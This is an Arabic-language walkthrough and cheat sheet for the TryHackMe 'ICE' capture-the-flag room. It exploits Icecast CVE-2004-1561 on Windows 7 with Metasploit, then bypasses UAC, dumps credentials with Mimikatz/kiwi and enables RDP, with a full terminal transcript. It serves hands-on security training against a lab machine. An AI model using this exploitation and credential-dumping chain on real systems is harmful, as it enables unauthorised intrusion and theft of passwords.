Lab: ICE | STY IT Labs
STY IT Labs · TryHackMe Room

Lab: ICE
Windows Exploitation

اختراق Windows 7 عن طريق ثغرة في Icecast Media Server — من الـ Recon للـ Meterpreter لاستخراج الـ Credentials وتفعيل الـ RDP.

Easy - Medium Windows 7 Icecast CVE Metasploit Meterpreter PrivEsc Mimikatz
port 8000 ! ICE
Easy/Med
2 – 3 ساعات
6 مهام
380 XP
TryHackMe
Windows 7

عن اللاب

ICE هو تحدي Windows exploitation كلاسيكي مبني على استغلال ثغرة في Icecast Media Server — سيرفر بث صوتي قديم بيشتغل على port 8000.

الثغرة هي CVE-2004-1561 (Header Overwrite) وتُستغل بـ Metasploit مباشرة للحصول على Meterpreter shell. بعد كده هتعمل Privilege Escalation بـ bypassuac_eventvwr، وتستخرج credentials بـ Mimikatz، وتفعّل الـ RDP للوصول الكامل.

ابدأ بـ nmap -sS -sC -p- <IP> -T4 لفحص الـ Windows firewall — هتلاقي Icecast على port 8000.

ICE Badge

أكمل اللاب واحصل على الـ Badge الرسمي — أضفه لملفك على LinkedIn

مسار الهجوم

1

Recon — Nmap SYN Scan

فحص كل الـ ports — هتلاقي Icecast على port 8000 + hostname الجهاز

nmap -sS -sC -p-port 8000
2

Exploit — Icecast Header Overwrite

استخدام exploit/windows/http/icecast_header في Metasploit — RHOSTS فقط مطلوب

CVE-2004-1561Meterpreter shell
3

Post-Exploit — Local Exploit Suggester

تشغيل post/multi/recon/local_exploit_suggester لاقتراح الـ PrivEsc exploits

bypassuac_eventvwr
4

Privilege Escalation — UAC Bypass

استخدام exploit/windows/local/bypassuac_eventvwr مع SESSION المحددة

Admin Meterpreter
5

Process Migration + Credential Dump

الانتقال لـ process ثابت → load kiwicreds_all لاستخراج كلمات المرور

Mimikatz/KiwiDark:Password1!
6

Enable RDP — Full Access

تشغيل run post/windows/manage/enable_rdp للاتصال بـ Remote Desktop

RDP Access 🏆

مراحل اللاب

Nmap Recon
Gain Access
Escalate
Looting
Enable RDP
Full Control 🏆

Commands Cheat Sheet

الأمرالوصفالمرحلة
nmap -sS -sC -p- <IP> -T4فحص كل الـ ports على WindowsRecon
use exploit/windows/http/icecast_headerاختيار Icecast exploitExploit
set RHOSTS <IP> → runتشغيل الـ exploitExploit
run post/multi/recon/local_exploit_suggesterاقتراح PrivEsc exploitsPrivEsc
use exploit/windows/local/bypassuac_eventvwrUAC Bypass للـ AdminPrivEsc
migrate -N spoolsv.exeالانتقال لـ process ثابتMigration
load kiwi → creds_allاستخراج كل الـ credentialsLoot
run post/windows/manage/enable_rdpتفعيل Remote DesktopRDP
getprivsعرض الـ privileges الحاليةInfo

المهام والأسئلة

Task 1 — Connect

Deploy machine · Connect VPN · read intro

+10 XP

Task 2 — Recon

nmap -sS -p- · Icecast port 8000 · hostname DARK-PC

+60 XP
03

Task 3 — Gain Access

msfconsole → icecast_header → RHOSTS → run → Meterpreter

+80 XP
04

Task 4 — Escalate

local_exploit_suggester → bypassuac_eventvwr → getprivs

+80 XP
05

Task 5 — Looting

migrate → load kiwi → creds_all → Dark:Password1!

+80 XP
06

Task 6 — Post-Exploitation

enable_rdp → dump hashes → persistence options

+70 XP
▶ أدخل الـ Flag الخاص بمهمتك الحالية

Terminal — Full ICE Attack

msfconsole — ICE Attack
# ── Nmap ─────────────────────────────────────
└─# nmap -sS -sC -p- 10.10.X.X -T4
8000/tcp open http Icecast streaming media server

# ── Exploit ──────────────────────────────────
msf6 > use exploit/windows/http/icecast_header
msf6 exploit> set RHOSTS 10.10.X.X
msf6 exploit> run
[*] Meterpreter session 1 opened
meterpreter > getuid
Server username: DARK-PC\Dark

# ── PrivEsc ──────────────────────────────────
meterpreter > run post/multi/recon/local_exploit_suggester
exploit/windows/local/bypassuac_eventvwr (probable)
msf6 > use exploit/windows/local/bypassuac_eventvwr
msf6 exploit> set SESSION 1 → run
[*] Meterpreter session 2 opened (elevated)

# ── Kiwi / Mimikatz ──────────────────────────
meterpreter > migrate -N spoolsv.exe
meterpreter > load kiwi
meterpreter > creds_all
Username: Dark | Password: Password1!

meterpreter > run post/windows/manage/enable_rdp
RDP enabled successfully
└─#

المهارات المكتسبة

Windows Exploitation
Metasploit Framework
Meterpreter Shell
UAC Bypass
Process Migration
Mimikatz / Kiwi
Credential Dumping
RDP Enablement

الأدوات المستخدمة

nmapPort Scanning مع -sS للـ Windows Firewall
Metasploit (msfconsole)Exploitation Framework الرئيسي
icecast_header moduleاستغلال CVE-2004-1561
bypassuac_eventvwrWindows UAC Privilege Escalation
Kiwi (Mimikatz)استخراج الـ credentials من الذاكرة
Remmina / MSRDPRemote Desktop Client